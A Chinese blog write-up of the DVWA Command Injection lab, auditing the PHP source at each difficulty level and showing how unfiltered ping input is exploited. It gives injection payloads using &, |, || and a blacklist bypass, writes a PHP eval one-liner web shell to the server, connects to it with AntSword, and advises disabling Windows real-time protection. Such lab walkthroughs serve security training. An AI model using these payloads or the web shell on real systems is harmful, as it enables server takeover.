DVWA-Command Injection(命令执行)

命令执行漏洞,顾名思义,服务端在进行一些网站的操作、管理的时候,需要调用系统命令,如果对传入的命令参数没有进行一些过滤,可以直接执行服务器系统的命令终端

LOW

审计源码

<?php
// 判断是否提交了 Submit
if( isset( $_POST[ 'Submit' ]  ) ) {
    // 获取 ip 传参,理想输入IP地址
    $target = $_REQUEST[ 'ip' ];

    // 确认操作系统
    // stristr() 截取 Windows NT 从开始到结束的位置
    // php_uname() 获取PHP版本信息 ,值为s,获取操作系统名称
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // 如果是windows,执行ping命令跟上传入的IP地址
        // shell_exec() 执行系统命令
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // 如果是linux、unix等系统,执行 ping -c 4 四次测试,在Linux中ping是不会自动停止的
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // 打印命令执行结果
    echo "<pre>{$cmd}</pre>";
}

?>

可以看到,对输入的IP没有进行任何的过滤,可以直接进行命令注入
在windows命令行中,可以使用
& && | ||

& 符号


通过图片可以看出,&号无论ping执行正确还是失败,都会执行net user

&& 符号


&&只有ping命令执行成功后,后面的net user才可以执行成功

| 符号


|是意思是,将ping执行的结果,交给net user处理,只会回显net user的回显,但是无论ping执行是否成功,一定会执行net user

|| 符号


||会寻找正确的语句执行,执行完就会停止,可以看到,ping语句执行失败,执行了net user,第二条命令ping执行成功,没有执行echo,后面使用type验证echo没有执行成功

命令注入

在框中输入a|dir,查看当前目录文件,发现只有一个index.php

使用echo写入一句话木马a|echo "<?php @eval($_POST[cmd])?>" > a.php
如果在Windows 10中运行,现将安全中心的实时防护关闭

执行后没有任何回显,应该是写入成功了
继续使用a|dir查看木马是否写入成功

a.php已经被写入成功,使用a|type a.php查看a.php内容

只有两个双引号,里面的php语句应该是被当做页面执行了

使用蚁剑进行连接

蚁剑是一个类似于中国菜刀的工具,但是比起中国菜单更好用,下载见
启动器
源码
将启动器和源码分别解压,然后启动器启动时选择启动目录为加压的源码目录就可以使用
根据a|dir获取a.php木马的路径,D:\phpstudy_pro\WWW\dvwa\vulnerabilities\exec

那么在地址栏中就是http://127.0.0.1/dvwa/vulnerabilities/exec/a.php,测试连接成功

添加,双击进入可以查看靶机目录

利用成功

Medium

审计源码


<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // 获取传入的 ip 
    $target = $_REQUEST[ 'ip' ];

    // 定义字符黑名单
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // 将黑名单中的字符过滤,替换为空
    // str_replace() 替换选中的字符
    // array_keys选中 && ;,
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // 判断操作系统
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // 返回命令执行回显
    echo "<pre>{$cmd}</pre>";
}

?>

这里对&&;号进行了过滤,但是对我们没有什么影响,|依然能用
a|echo hello world测试

成功打印了hello wolrd
成功过关

High

审计源码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // 获取 IP 传参
    $target = trim($_REQUEST[ 'ip' ]);

    // 定义过滤黑名单
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // 将IP中的黑名单字符转换为空
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // 判断操作系统
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // 返回命令执行回显
    echo "<pre>{$cmd}</pre>";
}

?>

可以看到和Medium的代码没什么区别,不过添加的黑名单变多了,|视乎也被过滤了
但是仔细观察会发现,过滤的是| ,|空格,并不是|,在程序中,空格也是一个字符

所以使用|依然可以使用
a|echo cnblogs.com/Junglezt,测试

执行成功,过关

Impossible

审计源码


<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // 检查token值
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // 获取输入的IP地址
    $target = $_REQUEST[ 'ip' ];
    // 去除左右两边的反斜杠
    $target = stripslashes( $target );

    // 将传入的IP使用 . 进行分割
    $octet = explode( ".", $target );

    // 根据IP地址的格式,判断用 . 分开的四个部分是不是数字
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // 如果是数字,将四个字数拼接为一个IP地址
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // 判断操作系统
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // 返回命令执行回显
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // 命令执行失败,检查输入的是不是一个IP地址
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}

// 生成 user_token
generateSessionToken();

?>

引入了user_token,并且将输入的传参分割判断是不是IP地址的格式,所以这才是 Impossible

posted @ 2022-05-12 11:39  Junglezt  阅读(514)  评论(0编辑  收藏  举报